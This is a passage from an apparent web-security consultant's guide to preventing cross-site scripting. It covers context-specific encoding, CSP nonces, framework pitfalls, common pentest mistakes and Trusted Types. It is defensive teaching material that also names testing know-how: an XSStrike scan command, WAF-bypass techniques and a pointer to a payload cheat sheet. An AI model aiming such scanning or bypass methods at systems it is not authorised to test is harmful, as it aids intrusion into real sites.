Output encoding happens on the way out. Convert dangerous characters into their safe HTML entity equivalents before rendering them in the browser. This is your last line of defense.

// Output encoding — never trust, always encode
function htmlEncode(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;');
}

Don't write your own encoding library. Use established ones: OWASP Java Encoder for Java, Microsoft AntiXSS library for .NET, or DOMPurify for client-side JavaScript.

Context-Specific Encoding — The Part Most Guides Skip

Here's what separates a developer who understands XSS from one who just read a tutorial: encoding rules change depending on where in the HTML document you're inserting data.

HTML Body Context

<!-- Safe: HTML entity encoding -->
<p>Welcome back, &lt;script&gt;alert(1)&lt;/script&gt;</p>

HTML Attribute Context

<!-- DANGEROUS — even with quotes, some attributes execute JS -->
<input value="USER_INPUT_HERE">

<!-- Safe approach — always quote attributes AND encode -->
<input value="<?= htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') ?>">

JavaScript Context

// NEVER put untrusted data directly in JavaScript
var username = "<?= $userInput ?>"; // Dangerous

// Safe: JSON encode server-side, parse client-side
var userData = JSON.parse('<?= json_encode($userInput) ?>');

URL Context

<!-- Validate that URL starts with http/https — never trust blind -->
<?php
$url = $_GET['redirect'];
if (!preg_match('/^https?:\/\//i', $url)) {
    $url = '/'; // Default safe redirect
}
?>
<a href="<?= htmlspecialchars($url, ENT_QUOTES, 'UTF-8') ?>">Click here</a>

CSS Context

Never put user-controlled data into CSS. Ever. I've bypassed sanitizers through CSS injection more times than I can count. If you absolutely must, validate it's a specific expected value from a whitelist.

Content Security Policy — Your Safety Net

CSP is a browser security mechanism that restricts what resources can load on your page. Even if an attacker injects a script, a properly configured CSP can prevent it from executing. I've implemented CSP headers on dozens of client applications and it's one of the highest ROI security improvements you can make.

Add this header to your HTTP responses:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';

The nonce approach is critical. Generate a cryptographically random nonce for each page load and include it in both the CSP header and your script tags:

<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-{$nonce}' 'strict-dynamic'");
?>
<script nonce="<?= $nonce ?>">
  // Your legitimate scripts here
</script>

Any injected script without the correct nonce gets blocked. Test your CSP at Google's CSP Evaluator before going live — weak configurations like unsafe-inline or wildcard sources defeat the entire purpose.

Framework-Specific Protections

Modern frameworks give you XSS protection by default if you use them correctly.

React

React escapes all values in JSX by default. The dangerous part is when developers bypass this protection:

// DANGEROUS — never do this with untrusted input
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// If you must render HTML (e.g., rich text), sanitize first
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />

Angular

Angular sanitizes values by default in template bindings. The bypass to watch for:

// DANGEROUS
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);

// Use only for content you fully control, never for user input

Vue.js

<!-- DANGEROUS — v-html renders raw HTML -->
<div v-html="userContent"></div>

<!-- Safe — v-text or {{ }} automatically escapes -->
<div>{{ userContent }}</div>

5 Mistakes I Find in Every Penetration Test

After years of security assessments, these are the issues I find most consistently:

Mistake 1: Sanitizing on input, forgetting to encode on output. Teams add a regex strip on the way in, then render the stored data raw later. A bypassed filter on input means stored malicious content renders with full effect on output.

Mistake 2: Trusting innerHTML assignments.

// Wrong
document.getElementById('username').innerHTML = userData.name;

// Right
document.getElementById('username').textContent = userData.name;

Mistake 3: Misconfigured CSP with unsafe-inline. I've audited organizations that spent weeks implementing CSP then included 'unsafe-inline' because a third-party widget required it. This completely negates your XSS protection. The solution is to contact the vendor for a nonce-compatible version or self-host the script.

Mistake 4: Forgetting about JSON endpoints. Always set Content-Type: application/json — never text/html — on API responses. An endpoint returning HTML-like data with the wrong content type can be leveraged for injection.

Mistake 5: Not testing for DOM XSS. Automated DAST scanners miss most DOM-based XSS because they don't execute JavaScript or observe browser behavior. I manually test URL fragments (#), document.location, document.referrer, and postMessage handlers — all common sources of DOM XSS that scanners miss.

Tools I Actually Use for XSS Testing

Burp Suite Pro — Intercept and modify requests, use the active scanner, and manually craft payloads through the Repeater module
XSStrike — Python-based XSS scanner with fuzzing capabilities: python3 xsstrike.py -u "https://target.com/search?q=test"
OWASP ZAP — Excellent for automated crawling and baseline scanning, especially in CI/CD pipelines
DOMinator — Specifically for tracing DOM-based XSS sources and sinks
Browser DevTools — The Sources panel with breakpoints on dangerous sinks like innerHTML, document.write, and eval has helped me find more vulnerabilities than any automated tool

For payload generation, I reference the PortSwigger XSS cheat sheet — the most comprehensive filter bypass reference available.

XSS in 2026: What's Changed

AI-assisted payload generation. Attackers are feeding WAF rulesets into LLMs and generating tailored bypass payloads in seconds. Payloads that previously required an expert researcher to craft manually are now one API call away. Context-specific encoding and CSP nonces matter more than ever — they're logic-based defenses that can't be bypassed by payload mutation alone.

Client-side rendering complexity. The dominance of React, Vue, and Angular SPAs means the DOM is now constructed almost entirely in JavaScript. Traditional server-side output encoding is necessary but no longer sufficient. I'm spending more time auditing postMessage handlers, dynamic import() calls, and client-side routing logic where untrusted URL fragments feed directly into DOM sinks.

Trusted Types enforcement. The Trusted Types browser API — now supported in Chrome, Edge, and shipping in Firefox — lets you enforce that DOM sink assignments only accept validated objects, not raw strings:

// Enforce Trusted Types in your CSP
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy

// Create a policy — only way to assign to innerHTML
const policy = trustedTypes.createPolicy('myPolicy', {
  createHTML: (input) => DOMPurify.sanitize(input),
});

// Now innerHTML only accepts trusted type objects — raw strings throw
element.innerHTML = policy.createHTML(userContent); // Safe
element.innerHTML = userContent; // Throws TypeError

This doesn't replace your existing defenses but adds a hard enforcement layer that breaks entire classes of DOM XSS at the browser level. Start with report-only mode to identify violations before enforcing.

FAQ

Q: Is XSS really that serious? Can't browsers just block it?

Yes, it's serious — and no, browsers alone can't block it. XSS leads to account takeover, credential theft, keylogging, cryptomining, and full session hijacking. I've used XSS to pivot to internal network access in corporate pentests.

Q: We use a WAF — aren't we protected?

Partially. WAFs catch known signatures and basic payloads, but I bypass WAFs routinely using encoding tricks, polyglot payloads, and context manipulation. Treat it as a speed bump, not a wall.

Q: Should I use DOMPurify or write my own sanitizer?

Always use a vetted library. Writing your own sanitizer is one of the most common ways I find bypasses. DOMPurify has been audited and battle-tested. Use it.

Q: We encode HTML entities everywhere — why did our pen test still flag XSS?

Because HTML entity encoding only protects in HTML body context. If you're inserting data into a JavaScript block, a CSS property, a URL parameter, or an unquoted HTML attribute, different encoding rules apply. I find this exact issue in almost every application I audit.

Originally published at xuro.net — web security & WordPress consulting.